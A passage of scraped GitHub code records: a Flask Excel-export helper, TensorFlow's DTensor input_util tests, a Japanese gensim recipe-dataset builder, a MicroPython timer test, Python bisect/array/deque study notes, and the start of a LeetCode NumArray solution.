os.path.isdir(\"excel_files\"):\n os.makedirs(\"excel_files\")\n\n filepath = f'excel_files/'\n workbook = xlsxwriter.Workbook(filepath + filename)\n return workbook\n\n\n\ndef create_worksheet(workbook):\n worksheet = workbook.add_worksheet()\n return worksheet\n\n\ndef get_data_key(json_file):\n try:\n result = json_file['data']\n data_for_sheets = []\n for key in result:\n for k in key:\n if k not in data_for_sheets:\n data_for_sheets.append(k)\n return [data_for_sheets]\n except KeyError:\n return Response(\"Данные для записи не найдены\", 404)\n\n\ndef get_data_value(json_file):\n try:\n result = json_file['data']\n data_for_sheets = []\n for res in result:\n r = res.values()\n values = list(r)\n data_for_sheets.append(values)\n return data_for_sheets\n except KeyError:\n return Response(\"Данные для записи не найдены\", 404)\n\n\ndef clear_and_append(worksheet, data_keys, data_values):\n col = 0\n for k in data_keys:\n for data in k:\n worksheet.write(0, col, data)\n col += 1\n row = 1\n col = 0\n for v in data_values:\n if type(v) == list:\n for values in v:\n if type(values) == list:\n worksheet.write_column(row, col, values)\n # row += 1\n col += 1\n else:\n worksheet.write_row(row, col, v)\n col += 1\n\n","repo_name":"valeriapopova/ExcelFlask","sub_path":"xls.py","file_name":"xls.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3987468044","text":"import contextlib\nimport threading\n\nfrom absl.testing import parameterized\nimport numpy as np\n\nfrom tensorflow.dtensor.python import api\nfrom tensorflow.dtensor.python import input_util\nfrom tensorflow.dtensor.python import layout as layout_lib\nfrom tensorflow.dtensor.python import mesh_util\nfrom tensorflow.dtensor.python.tests import test_util\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.eager.polymorphic_function import polymorphic_function\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import errors_impl\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.python.framework import tensor_spec\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import stateless_random_ops\nfrom tensorflow.python.ops import variables\nfrom tensorflow.python.platform import test as tf_test\n\nMESH_DIM_BATCH = 'batch'\nMESH_DIM_HEIGHT = 'height'\nMESH_DIM_WIDTH = 'width'\nMESH_SIZE_BATCH = 4\nMESH_SIZE_HEIGHT = 2\nMESH_SIZE_WIDTH = 2\n\nLayout = layout_lib.Layout\nMesh = layout_lib.Mesh\nUNSHARDED = layout_lib.UNSHARDED\n\n\nclass DTensorDatasetTest(test_util.DTensorBaseTest):\n\n def setUp(self):\n super().setUp()\n self._num_devices = MESH_SIZE_BATCH * MESH_SIZE_HEIGHT * MESH_SIZE_WIDTH\n self.mesh = mesh_util.create_mesh(\n devices=['CPU:%d' % i for i in range(self._num_devices)],\n mesh_dims=[(MESH_DIM_BATCH, MESH_SIZE_BATCH),\n (MESH_DIM_HEIGHT, MESH_SIZE_HEIGHT),\n (MESH_DIM_WIDTH, MESH_SIZE_WIDTH)])\n\n self.mesh = self.configTestMesh({'CPU': self.mesh})\n\n self.images = self._images([8, 8, 3])\n self.labels = self._labels([1])\n\n def _images(self, shape):\n return stateless_random_ops.stateless_random_uniform(\n shape, seed=(1, 2), minval=0, maxval=255)\n\n def _labels(self, shape):\n return stateless_random_ops.stateless_random_uniform(\n shape, seed=(1, 2), minval=0, maxval=10, dtype=dtypes.float32)\n\n def testIterableFailsWithUnknownShapeDatasetSpec(self):\n def gen():\n yield constant_op.constant([1, 2], dtype=dtypes.int32)\n\n dataset = dataset_ops.DatasetV2.from_generator(\n gen,\n output_signature=tensor_spec.TensorSpec(\n tensor_shape.TensorShape(None), dtype=dtypes.int32))\n\n with self.assertRaisesRegex(\n ValueError, 'Dataset element shape must have a valid rank'):\n input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=8,\n mesh=self.mesh,\n layouts=Layout.replicated(self.mesh, rank=2))\n\n def testIterMismatchedLayoutFails(self):\n dataset = dataset_ops.DatasetV2.from_tensors(self.images).repeat()\n\n # Mismatched rank-3 layout for rank-4 input (after batching)\n images_layout = Layout(\n [MESH_DIM_BATCH, MESH_DIM_HEIGHT, MESH_DIM_WIDTH], self.mesh)\n\n with self.assertRaisesRegex(ValueError, 'Expected layout with rank 4'):\n _ = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=32,\n mesh=self.mesh,\n layouts=images_layout,\n batch_dim=MESH_DIM_BATCH)\n\n @parameterized.named_parameters(('Eager', False), ('Graph', True))\n def testRangeIteration(self, is_graph):\n batch_size = 8\n num_batches = 4\n dataset = dataset_ops.DatasetV2.from_tensor_slices(\n self._images([batch_size * num_batches, 8, 8, 3]))\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=images_layout,\n batch_dim=MESH_DIM_BATCH)\n\n def train(iterator, steps):\n iters = 1\n output = next(iterator)\n for _ in math_ops.range(steps - 1):\n output += next(iterator)\n iters += 1\n if not is_graph:\n mesh_util.barrier(self.mesh)\n return output, iters\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n exception = errors_impl.OutOfRangeError if is_graph else StopIteration\n\n iterator = iter(dataset.batch(batch_size, drop_remainder=True))\n output, iters = train_fn(iterator, num_batches)\n\n d_iterator = iter(d_dataset)\n d_output, d_iters = train_fn(d_iterator, num_batches)\n\n mesh_util.barrier(self.mesh)\n # Try one more iteration which will raise an exception since the iterator is\n # exhausted.\n with self.assertRaises(exception):\n if is_graph:\n # FIXME(b/285884302): This flakily raises error\n # \"Cannot add 'while_cond' function, because a different function\"\n # Since num_batches is changed to 1, it retriggers SPMD expansion.\n # Recreating polymorphic function to avoid running into the error.\n train_fn = polymorphic_function.function(train)\n train_fn(d_iterator, 1)\n # In the graph case, we need to wait for the executor to finish all async\n # calls after invoking the tf.function to ensure any pending error is\n # raised.\n mesh_util.barrier(self.mesh)\n\n self.assertEqual(iters, d_iters)\n self.assertDTensorEqual(output, images_layout, d_output)\n\n @parameterized.named_parameters(('Eager', False), ('Graph', True))\n def testForInIteration(self, is_graph):\n batch_size = 8\n num_batches = 4\n dataset = dataset_ops.DatasetV2.from_tensor_slices(\n self._images([batch_size * num_batches, 8, 8, 3]))\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=images_layout,\n batch_dim=MESH_DIM_BATCH)\n\n def train(iterator):\n iters = 1\n output = next(iterator)\n for img in iterator:\n output += img\n iters += 1\n if not is_graph:\n mesh_util.barrier(self.mesh)\n return output, iters\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n\n iterator = iter(dataset.batch(batch_size, drop_remainder=True))\n output, iters = train_fn(iterator)\n\n d_iterator = iter(d_dataset)\n d_output, d_iters = train_fn(d_iterator)\n\n self.assertEqual(iters, d_iters)\n self.assertDTensorEqual(output, images_layout, d_output)\n\n @parameterized.named_parameters(('Eager', False), ('Graph', True))\n def testIterSingleInput(self, is_graph):\n dataset = dataset_ops.DatasetV2.from_tensors(self.images).repeat()\n batch_size = 32\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=images_layout,\n batch_dim=MESH_DIM_BATCH)\n\n self.assertEqual(d_dataset.element_spec.shape, [batch_size, 8, 8, 3])\n\n def train(iterator):\n it = next(iterator)\n return it\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n\n d_iterator = iter(d_dataset)\n self.assertEqual(d_iterator.element_spec.shape, [batch_size, 8, 8, 3])\n\n d_images = train_fn(d_iterator)\n mesh_util.barrier(self.mesh)\n expected = next(iter(dataset.batch(batch_size, drop_remainder=True)))\n mesh_util.barrier(self.mesh)\n self.assertDTensorEqual(expected, images_layout, d_images)\n\n @parameterized.named_parameters(('Eager', False), ('Graph', True))\n def testIterTupleInputs(self, is_graph):\n dataset = dataset_ops.DatasetV2.from_tensors(\n (self.images, self.labels)\n ).repeat()\n batch_size = 32\n\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n labels_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=2)\n layouts = (images_layout, labels_layout)\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=MESH_DIM_BATCH)\n\n def train(iterator):\n return next(iterator)\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n\n d_iterator = iter(d_dataset)\n d_images, d_labels = train_fn(d_iterator)\n expected_images, expected_labels = next(\n iter(dataset.batch(batch_size, drop_remainder=True)))\n self.assertDTensorEqual(expected_images, images_layout, d_images)\n self.assertDTensorEqual(expected_labels, labels_layout, d_labels)\n\n @parameterized.named_parameters(('Eager', False), ('Graph', True))\n def testIterDictInputs(self, is_graph):\n dataset = dataset_ops.DatasetV2.from_tensors({\n 'images': self.images,\n 'labels': self.labels,\n }).repeat()\n batch_size = 32\n\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n labels_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=2)\n layouts = {'images': images_layout, 'labels': labels_layout}\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=MESH_DIM_BATCH)\n\n def train(iterator):\n return next(iterator)\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n\n d_iterator = iter(d_dataset)\n d_element = train_fn(d_iterator)\n\n expected = next(iter(dataset.batch(batch_size, drop_remainder=True)))\n self.assertDTensorEqual(expected['images'], images_layout,\n d_element['images'])\n self.assertDTensorEqual(expected['labels'], labels_layout,\n d_element['labels'])\n\n @parameterized.named_parameters(('Eager', False), ('Graph', True))\n def testIterOnBatchedDataset(self, is_graph):\n dataset = dataset_ops.DatasetV2.from_tensors({\n 'images': self.images,\n 'labels': self.labels,\n }).repeat()\n\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n labels_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=2)\n layouts = {'images': images_layout, 'labels': labels_layout}\n\n global_batch_size = 32\n per_replica_batch_size = global_batch_size // MESH_SIZE_BATCH\n batched_dataset = dataset.batch(per_replica_batch_size, drop_remainder=True)\n\n d_dataset = input_util.DTensorDataset(\n dataset=batched_dataset,\n global_batch_size=global_batch_size,\n dataset_already_batched=True,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=MESH_DIM_BATCH)\n\n def train(iterator):\n return next(iterator)\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n\n d_iterator = iter(d_dataset)\n d_element = train_fn(d_iterator)\n\n expected = next(iter(dataset.batch(global_batch_size, drop_remainder=True)))\n self.assertDTensorEqual(expected['images'], images_layout,\n d_element['images'])\n self.assertDTensorEqual(expected['labels'], labels_layout,\n d_element['labels'])\n\n def testIterOnBatchedDatasetFailsOnIncorrectBatchSize(self):\n dataset = dataset_ops.DatasetV2.from_tensors({\n 'images': self.images,\n 'labels': self.labels,\n }).repeat()\n\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n labels_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=2)\n layouts = {'images': images_layout, 'labels': labels_layout}\n\n global_batch_size = 32\n per_replica_batch_size = 16 # correct value would be: 32 // 4 = 8\n batched_dataset = dataset.batch(\n per_replica_batch_size, drop_remainder=True)\n\n with self.assertRaisesRegex(\n ValueError,\n ('per_replica_batch_size does not matched expected size based on the '\n 'mesh, got 16 but expected 8.')):\n _ = input_util.DTensorDataset(\n dataset=batched_dataset,\n global_batch_size=global_batch_size,\n dataset_already_batched=True,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=MESH_DIM_BATCH)\n\n def testIterOnBatchedDatasetFailsNoDropLastBatch(self):\n dataset = dataset_ops.DatasetV2.from_tensors({\n 'images': self.images,\n 'labels': self.labels,\n }).repeat()\n\n images_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=4)\n labels_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=2)\n layouts = {'images': images_layout, 'labels': labels_layout}\n\n global_batch_size = 32\n per_replica_batch_size = global_batch_size // MESH_SIZE_BATCH\n batched_dataset = dataset.batch(\n per_replica_batch_size, drop_remainder=False)\n\n with self.assertRaisesRegex(\n ValueError, 'Ensure drop_remainder=True when batching the dataset.'):\n _ = input_util.DTensorDataset(\n dataset=batched_dataset,\n global_batch_size=global_batch_size,\n dataset_already_batched=True,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=MESH_DIM_BATCH)\n\n @parameterized.named_parameters(('Disabled', False), ('Enabled', True))\n def testIterPrefetch(self, prefetch):\n condition = threading.Condition()\n counter = variables.Variable(0)\n\n def count(x):\n counter.assign_add(1)\n return x\n\n num_batches = 8\n batch_size = 4\n total_elems = num_batches * batch_size\n prefetch_buffer_size = 2 if prefetch else 0\n\n inputs = np.arange(total_elems)\n dataset = dataset_ops.DatasetV2.from_tensor_slices(inputs)\n dataset = dataset.map(count)\n\n inputs_layout = Layout.batch_sharded(\n self.mesh, batch_dim=MESH_DIM_BATCH, rank=1)\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=inputs_layout,\n batch_dim=MESH_DIM_BATCH,\n prefetch=prefetch_buffer_size if prefetch else None)\n\n # Check nothing was prefetched before iterators were created.\n self.assertEqual(counter.numpy(), 0)\n\n # Check nothing was prefetched before the first iteration.\n d_iterator = iter(d_dataset)\n self.assertEqual(counter.numpy(), 0)\n\n # The number of elements that are expected to be fetched in each iteration.\n multiple = batch_size * (self.mesh.size // MESH_SIZE_BATCH)\n\n # Check the number of elements fetched upon for each batch.\n for i in range(num_batches):\n elem = next(d_iterator)\n\n with condition:\n count = min((i + prefetch_buffer_size) * multiple,\n num_batches * multiple)\n result = condition.wait_for(lambda: counter.numpy() >= count, timeout=5)\n self.assertTrue(result)\n\n start_idx, end_idx = i * batch_size, (i + 1) * batch_size\n self.assertDTensorEqual(inputs[start_idx:end_idx], inputs_layout, elem)\n\n @parameterized.product(\n (\n dict(\n images_sharding=[UNSHARDED, UNSHARDED, UNSHARDED, UNSHARDED],\n labels_sharding=[UNSHARDED, UNSHARDED],\n ),\n dict(\n images_sharding=[MESH_DIM_BATCH, UNSHARDED, UNSHARDED, UNSHARDED],\n labels_sharding=[MESH_DIM_BATCH, UNSHARDED],\n ),\n dict(\n images_sharding=[\n UNSHARDED,\n MESH_DIM_HEIGHT,\n MESH_DIM_WIDTH,\n UNSHARDED,\n ],\n labels_sharding=[UNSHARDED, UNSHARDED],\n ),\n dict(\n images_sharding=[\n UNSHARDED,\n MESH_DIM_WIDTH,\n MESH_DIM_HEIGHT,\n UNSHARDED,\n ],\n labels_sharding=[UNSHARDED, UNSHARDED],\n ),\n dict(\n images_sharding=[\n MESH_DIM_BATCH,\n MESH_DIM_HEIGHT,\n MESH_DIM_WIDTH,\n UNSHARDED,\n ],\n labels_sharding=[MESH_DIM_BATCH, UNSHARDED],\n ),\n dict(\n images_sharding=[\n MESH_DIM_BATCH,\n MESH_DIM_WIDTH,\n MESH_DIM_HEIGHT,\n UNSHARDED,\n ],\n labels_sharding=[MESH_DIM_BATCH, UNSHARDED],\n ),\n ),\n is_graph=[False, True],\n through_dtensor=[False, True],\n )\n def testIterWithLayouts(\n self, images_sharding, labels_sharding, is_graph, through_dtensor\n ):\n if through_dtensor:\n scope = api.default_mesh(self.mesh)\n else:\n scope = contextlib.nullcontext()\n\n with scope:\n batch_size = 32\n dataset = dataset_ops.DatasetV2.from_tensors(\n (self.images, self.labels)\n ).repeat()\n batched_dataset = dataset.batch(batch_size, drop_remainder=True)\n\n images_layout = Layout(images_sharding, self.mesh)\n labels_layout = Layout(labels_sharding, self.mesh)\n layouts = (images_layout, labels_layout)\n batch_dim = None\n if MESH_DIM_BATCH in images_sharding or MESH_DIM_BATCH in labels_sharding:\n batch_dim = MESH_DIM_BATCH\n\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=batch_size,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=batch_dim,\n )\n\n def train(iterator):\n return next(iterator)\n\n train_fn = polymorphic_function.function(train) if is_graph else train\n\n d_iterator = iter(d_dataset)\n d_images, d_labels = train_fn(d_iterator)\n\n iterator = iter(batched_dataset)\n images, labels = train_fn(iterator)\n\n self.assertDTensorEqual(images, images_layout, d_images)\n self.assertDTensorEqual(labels, labels_layout, d_labels)\n\n def testMixedLayoutsFails(self):\n dataset = dataset_ops.DatasetV2.from_tensors(\n (self.images, self.labels)\n ).repeat()\n\n images_layout = Layout(\n [UNSHARDED, MESH_DIM_HEIGHT, MESH_DIM_WIDTH, UNSHARDED], self.mesh)\n labels_layout = Layout([MESH_DIM_BATCH, UNSHARDED], self.mesh)\n layouts = (images_layout, labels_layout)\n\n with self.assertRaisesRegex(ValueError, (\n f'batch_dim {MESH_DIM_BATCH} was specified but at least one layout did '\n 'not contain it')):\n input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=32,\n mesh=self.mesh,\n layouts=layouts,\n batch_dim=MESH_DIM_BATCH)\n\n\nclass InputUtilHelpersTest(test_util.DTensorBaseTest):\n\n @parameterized.parameters(\n {\n 'mesh_dims': [(MESH_DIM_BATCH, 8)],\n 'layout_specs': [UNSHARDED],\n 'batch_dim': None,\n 'counts': [1],\n }, {\n 'mesh_dims': [(MESH_DIM_BATCH, 8)],\n 'layout_specs': [MESH_DIM_BATCH],\n 'batch_dim': None,\n 'counts': [8],\n }, {\n 'mesh_dims': [(MESH_DIM_BATCH, 8)],\n 'layout_specs': [MESH_DIM_BATCH],\n 'batch_dim': MESH_DIM_BATCH,\n 'counts': [1],\n }, {\n 'mesh_dims': [(MESH_DIM_BATCH, 2),\n (MESH_DIM_HEIGHT, 4),\n (MESH_DIM_WIDTH, 2)],\n 'layout_specs': [UNSHARDED, MESH_DIM_HEIGHT],\n 'batch_dim': None,\n 'counts': [1, 4],\n }, {\n 'mesh_dims': [(MESH_DIM_BATCH, 2),\n (MESH_DIM_HEIGHT, 4),\n (MESH_DIM_WIDTH, 2)],\n 'layout_specs': [MESH_DIM_BATCH, MESH_DIM_WIDTH, MESH_DIM_HEIGHT],\n 'batch_dim': None,\n 'counts': [2, 2, 4],\n }, {\n 'mesh_dims': [(MESH_DIM_BATCH, 2),\n (MESH_DIM_HEIGHT, 4),\n (MESH_DIM_WIDTH, 2)],\n 'layout_specs': [MESH_DIM_BATCH, MESH_DIM_WIDTH, MESH_DIM_HEIGHT],\n 'batch_dim': MESH_DIM_BATCH,\n 'counts': [1, 2, 4],\n })\n def testShardCounts(self, mesh_dims, layout_specs, batch_dim, counts):\n num_devices = np.prod([size for _, size in mesh_dims])\n mesh = mesh_util.create_mesh(\n mesh_dims=mesh_dims, devices=['CPU:%d' % i for i in range(num_devices)])\n layout = Layout(layout_specs, mesh)\n\n self.assertEqual(input_util._shard_counts(layout, batch_dim), counts)\n\n\nclass DTensorIteratorSpecTest(test_util.DTensorBaseTest):\n\n def setUp(self):\n super().setUp()\n mesh = mesh_util.create_mesh(\n devices=['CPU:%d' % i for i in range(8)],\n mesh_dims=[(MESH_DIM_BATCH, 8)])\n self.mesh = self.configTestMesh({'CPU': mesh})\n\n self.images = stateless_random_ops.stateless_random_uniform(\n [8, 8, 3], seed=(1, 2), minval=0, maxval=255)\n\n def testToTensorList(self):\n dataset = dataset_ops.DatasetV2.from_tensors(self.images).repeat(8)\n images_layout = Layout.replicated(self.mesh, rank=4)\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=4,\n mesh=self.mesh,\n layouts=images_layout)\n d_iterator = iter(d_dataset)\n\n spec = input_util._DTensorIteratorSpec(\n global_element_spec=d_iterator._global_element_spec,\n layouts_str=d_iterator._layouts_str)\n\n value = d_iterator\n tensor_list = spec._to_tensor_list(value)\n self.assertListEqual(tensor_list, [d_iterator._iterator_resource_dtensor])\n\n def testFromTensorList(self):\n dataset = dataset_ops.DatasetV2.from_tensors(self.images).repeat(8)\n images_layout = Layout.replicated(self.mesh, rank=4)\n d_dataset = input_util.DTensorDataset(\n dataset=dataset,\n global_batch_size=4,\n mesh=self.mesh,\n layouts=images_layout)\n d_iterator = iter(d_dataset)\n\n spec = input_util._DTensorIteratorSpec(\n global_element_spec=d_iterator._global_element_spec,\n layouts_str=d_iterator._layouts_str)\n\n tensor_list = [d_iterator._iterator_resource_dtensor]\n value = spec._from_tensor_list(tensor_list)\n self.assertIsInstance(value, input_util._DTensorIterator)\n self.assertIs(value._global_element_spec, d_iterator._global_element_spec)\n self.assertEqual(value._layouts, d_iterator._layouts)\n\n\nif __name__ == '__main__':\n tf_test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/dtensor/python/tests/input_util_test.py","file_name":"input_util_test.py","file_ext":"py","file_size_in_byte":22201,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"18458056739","text":"import numpy as np\r\nimport gensim\r\nfrom gensim import corpora, models,matutils\r\nfrom collections import defaultdict\r\nfrom operator import itemgetter\r\nimport pandas as pd\r\nimport codecs\r\n\r\ndef making_dataset(csv_name,dict_name,corpus_name):\r\n\r\n\t#コーパスリスト中の各要素の順番は、元ネタの.csvの行の順番と同じになっている\r\n\t#csv.field_size_limit(100000000)\r\n\t\r\n\tcsv_input = pd.read_csv(csv_name, encoding='ms932', sep=',',skiprows=0)\r\n\t\t\t\t\r\n\t#ユニーク化したラベルリスとを作る\r\n\tunique_label = csv_input['label'].unique()\r\n\tprint('unique',unique_label)\r\n\tlabel_dict={}\r\n\tfor label_id,label in enumerate(unique_label):\r\n\t\t\r\n\t\t#辞書に、ラベルテキストをキーとしてvalueにlabel_idを入れる\r\n\t\tlabel_dict[label] = label_id\r\n\tprint(label_dict)\r\n\tlabel_id_list=[]\r\n\t\r\n\tfor label_text in csv_input['label'].values.tolist():\r\n\t\t\r\n\t\tlabelId = label_dict[label_text]\t\t\r\n\t\tlabel_id_list.append(labelId)\r\n\t\t\r\n\t\r\n\tarray_label_id = np.array(label_id_list)\r\n\tprint(array_label_id)\r\n\t\r\n\tdict_word=[]\t\r\n\tdictionary = gensim.corpora.Dictionary.load_from_text(dict_name)\r\n\tprint('dictionary:',dictionary)\r\n\tfor k, v in sorted(dictionary.items()):\r\n\t\t\r\n\t\tdict_word.append(v)\r\n\t\t\r\n\tdict_word.insert(0,'label')\r\n\tdict_word.insert(1,' ')\r\n\tdataset_df = pd.DataFrame([],columns=dict_word)\r\n\t\r\n\tcorpus = corpora.MmCorpus(corpus_name)\r\n\tfeature_matrix=[]\r\n\tfor label_id,unit_corpus,words_vector in zip(array_label_id,corpus,csv_input[['words']].values.tolist()):\r\n\t\t\r\n\t\tfeature_matrix.append(list(matutils.corpus2dense([unit_corpus], num_terms=len(dictionary)).T[0]))\r\n\t\tword_vec=list(matutils.corpus2dense([unit_corpus], num_terms=len(dictionary)).T[0])\r\n\t\tword_vec.insert(0,label_id)\r\n\t\tword_vec.insert(1,words_vector)\r\n\t\t#writer.writerow(word_vec)\r\n\t\t\r\n\t\tdf = pd.DataFrame([word_vec], columns=dict_word)\r\n\t\tdataset_df = dataset_df.append(df)\r\n\t\t\r\n\t#多次元リストでも一気にnpに変換できる\r\n\tnp_features = np.array(feature_matrix)\r\n\tprint(np_features.shape)\r\n\t\r\n\t#dataframeのばあい、codecエラーは、pandasのto_csvでは解決できないので、別途import codecsにて\r\n\t#以下のようにファイルを一旦開く\r\n\twith codecs.open(\"dataset.csv\", \"w\", \"ms932\", \"ignore\") as dataset:\t\r\n\t\t\r\n\t\t\tdataset_df.to_csv(dataset, index=False, encoding=\"ms932\", mode='w', header=True)\r\n\t\t\r\n\t\r\n\treturn np_features,array_label_id,dict_word,label_dict\r\n\r\n\t\r\nif __name__ == '__main__':\r\n\r\n\tfeature_matrix,array_label_id,dict_word=making_dataset('cookpad_recipe.csv','cookpad.dict','cookpad_corpus.mm')\r\n\t#print(feature_matrix)\r\n\tprint(array_label_id)\r\n\tprint(dict_word)\r\n\t\r\n","repo_name":"shuntakahashi08/cookpad_keitaiso","sub_path":"create_dataset.py","file_name":"create_dataset.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3568834108","text":"import pyb\n\nstart = pyb.millis()\ncount = 0\nwhile True:\n pyb.disable_irq()\n m = pyb.millis()\n u = pyb.micros() & 0x7fffffff\n pyb.enable_irq()\n m2 = u // 1000\n if m2 != m:\n if m2 != (m + 1) or (u % 1000) > 100:\n print(\"msec %d usec %d\" % (m, u))\n count += 1\n if (m - start) >= 10000:\n print('%4d err = %d' % (m // 1000, count))\n start = m\n if count > 0:\n break\n\n","repo_name":"dhylands/upy-examples","sub_path":"micros_test.py","file_name":"micros_test.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"18"} +{"seq_id":"40693411052","text":"import bisect\nimport sys\n\nHAYSTACK = [1,3,4,5,6,7,8,9,11,22,45,56,69]\nposition = bisect.bisect_left(HAYSTACK,2)\nprint(position) # 1\n\nposition = bisect.bisect(HAYSTACK,2)\nprint(position) # 1\n\n\ndef grade(score, breakpoints=[60,70,80,90],grades='FDCBA'):\n i = bisect.bisect(breakpoints,score)\n return grades[i]\n\nprint([ grade(score) for score in [33,99,77,70,89,90,100] ])\n\n# ['F', 'A', 'C', 'C', 'B', 'A', 'A']\n\n\nimport random\n\nSIZE = 7\n\nmy_list = []\nfor i in range(SIZE):\n new_item = random.randrange(SIZE*2)\n bisect.insort(my_list,new_item)\n print('{:2d} -> {}'.format(new_item,my_list))\n\n# 5 -> [5]\n# 1 -> [1, 5]\n# 0 -> [0, 1, 5]\n# 3 -> [0, 1, 3, 5]\n# 13 -> [0, 1, 3, 5, 13]\n# 7 -> [0, 1, 3, 5, 7, 13]\n# 9 -> [0, 1, 3, 5, 7, 9, 13]\n\n\n# from random import random\n#\n# floats = array('d',(random() for i in range(10**7)))\n#\n# fp = open('floats.bin','wb')\n# floats.tofile(fp)\n# fp.close()\n# print(floats[-1])\n#\n# floats2 = array('d')\n# fp = open('floats.bin','rb')\n# floats2.fromfile(fp,10**7)\n# fp.close()\n# print(floats2[-1])\n# print(floats2 == floats)\n\nfrom array import array\nnumbers = array('h' ,[-2,-1,0,1,2])\nmemv = memoryview(numbers)\nprint(len(memv)) # 5\nprint(memv[0]) # -2\nmemv_oct = memv.cast('B') # 转换为 `B` 类型 无符号字符\nprint(memv_oct.tolist()) # 以列表的形式看 memv_oct\n# [254, 255, 255, 255, 0, 0, 1, 0, 2, 0]\nmemv_oct[5] = 4 # 把位置5的字节赋值成4\n# 因为我们把占2个字节的证书的高位字节改成了4所以这个有符号的整数的值变成了 1024\nprint(numbers)\n# array('h', [-2, -1, 1024, 1, 2])\n\nfrom collections import deque\n\n# maxlen 是一个可选参数,代表这个队列可以容纳的元素数量,一旦设定,这个属性就不能修改\ndq = deque(range(10),maxlen=10)\nprint(dq)\n# deque([0, 1, 2, 3, 4, 5, 6, 7, 8, 9], maxlen=10)\n\n# 队列的旋转操作接收一个参数n\n# n>0时 最右边的n个元素会被移动到左边,n<0,最左边n个元素移动到右边\ndq.rotate(3)\nprint(dq)\n# deque([7, 8, 9, 0, 1, 2, 3, 4, 5, 6], maxlen=10)\ndq.rotate(-4)\nprint(dq)\n# deque([1, 2, 3, 4, 5, 6, 7, 8, 9, 0], maxlen=10)\ndq.appendleft(-1)\nprint(dq)\n# deque([-1, 1, 2, 3, 4, 5, 6, 7, 8, 9], maxlen=10)\ndq.extend([11,12,13])\nprint(dq)\n# deque([3, 4, 5, 6, 7, 8, 9, 11, 12, 13], maxlen=10)\ndq.extendleft([10,20,30,40])\nprint(dq)\n# deque([40, 30, 20, 10, 3, 4, 5, 6, 7, 8], maxlen=10)\n\n\n\n\n\n\n\n","repo_name":"smalldu/flow-python-study","sub_path":"study2.py","file_name":"study2.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71743441001","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nGiven an integer array nums, find the sum of the elements between indices i and j (i ≤ j), inclusive.\n\nExample:\nGiven nums = [-2, 0, 3, -5, 2, -1]\n\nsumRange(0, 2) -> 1\nsumRange(2, 5) -> -1\nsumRange(0, 5) -> -3\nNote:\nYou may assume that the array does not change.\nThere are many calls to sumRange function.\n\"\"\"\n\n\nclass NumArray(object):\n def __init__(self, nums):\n \"\"\"\n :type nums: List[int]\n \"\"\"\n self.nums = nums\n self.memo = self.cache()\n self.memo_sentinel = self.cache_sentinel()\n\n def sumRange(self, i, j):\n \"\"\"\n :type i: int\n :type j: int\n :rtype: int\n \"\"\"\n # return self.brute_force(i, j)\n # return self.calculate(i, j)\n return self.calculate_sentinel(i, j)\n\n def brute_force(self, i, 